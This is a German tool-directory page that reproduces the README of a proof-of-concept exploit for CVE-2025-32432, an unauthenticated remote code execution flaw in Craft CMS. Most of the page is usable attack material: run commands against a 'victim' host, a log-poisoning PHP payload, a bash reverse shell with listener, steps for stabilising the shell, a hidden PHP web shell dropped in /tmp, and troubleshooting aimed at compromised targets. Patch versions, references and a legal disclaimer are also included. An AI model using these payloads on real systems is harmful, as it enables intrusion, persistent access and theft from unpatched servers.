Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-32432 — Funktionsfähiger PoC für CVE-2025-32432 - Craft CMS <= 5.6.16 - nicht authentifizierte RCE über das Yii2-PhpManager-Gadget + nginx-access.log-Vergiftung | Kitploit
Tools/GitHubGitHub/cd-ratel/cve-2025-32432
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

Funktionsfähiger PoC für CVE-2025-32432 - Craft CMS <= 5.6.16 - nicht authentifizierte RCE über das Yii2-PhpManager-Gadget + nginx-access.log-Vergiftung

Repository anzeigen
2vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2025-32432 – Craft CMS Unauthenticated RCE PoC

Funktionierender Proof-of-Concept für CVE-2025-32432, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Craft CMS in Versionen bis einschließlich 5.6.16 (betrifft ebenso die 4.x- und 3.x-Zweige bei entsprechenden Codepfaden).

Suchbegriffe: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Der Standardmodus zielt auf frische Vanilla-Craft-CMS-Installationen. Ein --lab-Flag ist für die carangueijada-20-Challenge des hacklab-platform-Projekts enthalten, welche Craft hinter einem eigenen Session-Cookie absichert.


Schwachstelle

Betroffene Komponente: craft\controllers\AssetsController::actionGenerateTransform.

Die Aktion ist als allowAnonymous registriert, daher ist keine Authentifizierung erforderlich. Sie akzeptiert einen POST-Parameter handle, der anschließend in einen Craft::createObject()-Aufruf gespreadet wird:

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Wenn $handle ein vom Angreifer kontrolliertes assoziatives Array ist, injiziert der Spread beliebige Schlüssel in die Konstruktor-Konfiguration. Insbesondere wird ein Schlüssel, der mit as beginnt, von yii\base\Component::__set als Behavior-Attachment interpretiert, was Yii::createObject($config) für den Wert aufruft – vor jeder Typ-Prüfung:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Der Yii2-Fix in 2.0.50 fügte eine is_subclass_of($value['class'], Behavior::class)-Prüfung für diesen Zweig hinzu; verwundbare Installationen (Yii2 <= 2.0.49, oder frühere herausgepatchte Prüfung) überspringen die Absicherung vollständig.

Gadget: yii\rbac\PhpManager

PhpManager ist eine Standard-Yii2-Klasse. Ihre init()-Methode ruft load() auf, welches wiederum loadFromFile($this->itemFile) aufruft. loadFromFile ist wörtlich:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require parst jede Datei auf der Platte als PHP. Enthält die Datei einen <?php ... ?>-Block, wird dieser Block im Worker ausgeführt. Indem itemFile auf eine Datei zeigt, deren Inhalt der Angreifer kontrolliert, wird vollständige RCE erreicht.

Sink: nginx access.log

Der zuverlässige installationsübergreifende Sink ist die nginx-access.log im Combined-Format. Sie zeichnet den User-Agent der Anfrage wörtlich auf, einschließlich nicht druckbarer Zeichen und der meisten Satzzeichen. Indem der Angreifer eine Anfrage sendet, deren User-Agent <?php system('id'); exit; ?> lautet, platziert er einen PHP-Block an einem bekannten Pfad. Wird itemFile dann auf /var/log/nginx/access.log gesetzt, requiret der Exploit das Log und führt jeden <?php ... ?>-Block der Reihe nach aus.

Zwei Feinheiten sind wichtig:

  1. Keine doppelten Anführungszeichen im Payload. nginx escaped " im Combined-Format zu \x22, was das PHP-Parsing der Zeile bricht. Verwende einfache Anführungszeichen oder chr()-Verkettung.
  2. exit; am Ende, damit require abbricht, bevor spätere Logzeilen geparst werden, die andere fehlerhafte Payloads enthalten könnten.

Betroffene Versionen

Komponente

Craft 5.6.17 fügt eine ImageTransformerInterface-Prüfung für die Transformer-Klasse hinzu. Yii2 2.0.50 fügt eine Behavior-Subklassen-Prüfung in Component::__set hinzu. Jeder einzelne Fix schließt exakt diese Gadget-Kette.


Voraussetzungen

  • Python 3.8+
  • requests-Bibliothek (pip install -r requirements.txt)
  • Netzwerk-Erreichbarkeit des Ziel-HTTP(S)-Endpunkts
  • Eine gültige Craft-assetId auf dem Ziel. Standard 2; überschreibbar mit -a <id>, falls nötig (Asset-ID 1 ist normalerweise der Admin-Avatar).

Verwendung

Vanilla Craft CMS

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft hinter einem Pfad-Präfix

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Benutzerdefinierte Asset-ID

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

Benutzerdefiniertes itemFile (anderer Log-Pfad, FPM-Session, etc.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Lab-Modus (carangueijada-20-Challenge)

Das carangueijada-20-Lab aus dem hacklab-platform sichert die Craft-Installation hinter einem coopsess-Cookie, das von PATCH /login ausgestellt wird. Das --lab-Flag übernimmt diesen Handshake automatisch.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Stelle sicher, dass www.carangueijada.coop auf die Lab-IP auflöst (falls nötig in /etc/hosts eintragen).

Reverse Shell

Das --revshell-Flag feuert einen bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 Connect-Back, im Hintergrund, damit der Gadget-POST sofort zurückkehrt.

Zwei-Terminal-Ablauf (am zuverlässigsten):

root@kitploit:~
# Terminal 1 – Listener auf deiner Maschine
nc -lvnp 4444

# Terminal 2 – Exploit auslösen
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Ein-Terminal-Ablauf mit eingebautem Listener:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen startet nc -lvnp <lport> im selben Terminal, bevor der Payload gefeuert wird. Strg+C beendet, wenn du fertig bist.

Beispielsession (Lab):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# im Listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Shell stabilisieren (nach dem Connect, innerhalb der Reverse-Shell ausführen):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Strg+Z, um nc in den Hintergrund zu legen
stty raw -echo; fg
# Zweimal Enter drücken
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Wie die Idempotenz funktioniert

Beim ersten Lauf vergiftet der Exploit access.log einmal, um einen versteckten PHP-Wrapper unter /tmp/.cve32432_w.php abzulegen. Der Wrapper liest den X-Cmd-HTTP-Header und führt system($_SERVER['HTTP_X_CMD']) aus. Jeder weitere Dispatch zeigt itemFile auf die Wrapper-Datei und übergibt den Befehl per Header. Kein weiteres Vergiften, keine weitere Log-Verschmutzung, keine weiteren „Das erste <?php exit;-Block gewinnt“-Fehlschläge.

Wenn du das Neuschreiben erzwingen willst, lösche /tmp/.cve32432_w.php auf dem Ziel (das kannst du durch den Wrapper selbst tun: --cmd 'rm /tmp/.cve32432_w.php').


Beispielausgabe

Erfolgreicher Lauf gegen ein frisches Ziel:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Fallback bei verschmutztem Log (Ziel wurde bereits früher exploiert, ein älterer Payload beendet vor deinem):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wie die Kette tatsächlich auslöst

  1. POST /actions/assets/generate-transform erreicht AssetsController::actionGenerateTransform.
  2. Der Handler baut $config = ['class' => ImageTransform::class, ...$handle]. Unser handle[as gadget] übersteht den Spread.
  3. Craft::createObject($config) ruft Yii::$container->get(ImageTransform::class, [], $config) auf, was ImageTransform instanziiert und jeden verbleibenden Konfigurationsschlüssel über $transform->{$key} = $value schreibt.
  4. Wenn der Parser auf as gadget trifft, erkennt Component::__set das as -Präfix und ruft Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']) auf.

Fehlerbehebung

Workaround bei verschmutztem Log (ohne Admin-Zugriff)

Wenn du zuverlässig nur id ausführen kannst (weil ein älteres exit;-Gift die Kette blockiert hat), ist ein praktikabler Pivot, diesen einzelnen id-artigen Befehl dazu zu bringen, einen PHP-Wrapper in einen Pfad deiner Wahl zu schreiben, und dann itemFile für alle weiteren Anfragen auf diesen Pfad zu ändern:

root@kitploit:~
# One-Shot-Vergiftung mit Befehl, der /tmp/w.php als www-data anlegt
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# CMD als chr() kodieren ...

Danach aufrufen:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Jeder weitere Dispatch liest /tmp/w.php (eine saubere PHP-Datei ohne irgendetwas vor unserem Payload) und führt den Befehl aus dem X-Cmd-Header aus. Passe das Skript an, wenn du das als eingebauten Modus haben möchtest.


Dateien

root@kitploit:~
.
├── exploit.py        # der PoC
├── README.md         # diese Datei
├── requirements.txt  # Python-Abhängigkeiten (nur `requests`)
└── LICENSE           # MIT

Referenzen

  • Craft-CMS-Wissensdatenbank-Eintrag: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Security Advisory (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • SensePost-Analyse der In-the-Wild-Kampagne: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Yii2 Component.php (verwundbare Revision): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Yii2-Fix (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Craft-CMS-Commit, der 5.6.17 fixt: https://github.com/craftcms/cms/commit (Suche nach „ImageTransformerInterface“ um 2025-04-09)
  • OWASP-Log-Injection: https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks LFI-to-RCE via nginx-Logs: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich für defensive Forschung, Lehrzwecke und autorisierte Penetrationstests veröffentlicht. Die Ausführung gegen Systeme, die du nicht besitzt oder für die du keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsräumen illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Wenn du eine Craft-CMS-Installation betreibst, aktualisiere auf 5.6.17 oder neuer (bzw. das entsprechende 4.x-/3.x-Patch-Release). Die Schwachstelle ist trivial ausnutzbar und wurde in realen Kampagnen eingesetzt, die von SensePost dokumentiert wurden.

Lizenz

MIT. Siehe LICENSE.

Tool herunterladen
Verwundbar
Gepatcht
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50
  • Yii::createObject konstruiert PhpManager, führt __construct() und danach init() aus.
  • PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  • PHP parst die Logdatei. Nicht-PHP-Text wird nach stdout geschrieben (was im HTTP-Response-Body landet). <?php ... ?>-Blöcke werden im Worker ausgeführt.
  • Unser platzierter Payload führt system($cmd) und exit; aus. Die Ausgabe erscheint im Response-Body an der Stelle, an der sich der <?php-Block textuell befand.
  • SymptomUrsacheFix
    HTTP 400 + „could not verify your data submission“ / „Pedido invalido“CSRF-Token nicht an das in der POST verwendete Cookie gebundenDas Skript verwendet eine einzige requests.Session; wenn du es neu implementierst, stelle sicher, dass der Cookie-Jar CRAFT_CSRF_TOKEN zwischen session-info und dem POST beibehält.
    HTTP 403 auf /actions/...Pfad-Präfix oder Vhost falschVerwende -p /prefix, um den Pfad zu treffen, unter dem Craft gemountet ist; stelle sicher, dass der Host-Header zur Installation passt.
    csrfTokenValue leer / session-info liefert HTMLFalscher Accept-HeaderDas Skript sendet bereits Accept: application/json; wenn du das herausgepatcht hast, stelle es wieder her.
    Ausgabe zeigt deinen Befehl nieaccess.log enthält bereits einen älteren <?php ... exit; ?>-Payload, der zuerst läuftRotiere bzw. kürze das Log auf dem Ziel. Wenn du nur RCE-als-id hast, warte auf die nächste Logrotation oder pivote durch eine beschreibbare PHP-Datei (z. B. /tmp/wrapper.php mit system($_SERVER['HTTP_X_CMD']);) und verwende diese künftig als itemFile.
    assetId not foundFalsche ID für diese InstallationDurchsuche öffentliche Asset-URLs, um IDs zu ermitteln, oder versuche -a 1 und dann -a 3..N.
    Ziel gepatchtCraft >= 5.6.17 oder Yii2 >= 2.0.50Kette ist geschlossen; finde entweder eine andere verwundbare Klasse oder fahre fort.
    Payload löst PHP-Fatalfehler ausÄltere Logeinträge enthalten fehlerhaftes PHP, das den Parser vor deinem Block brichtWie beim verschmutzten Log: Log rotieren.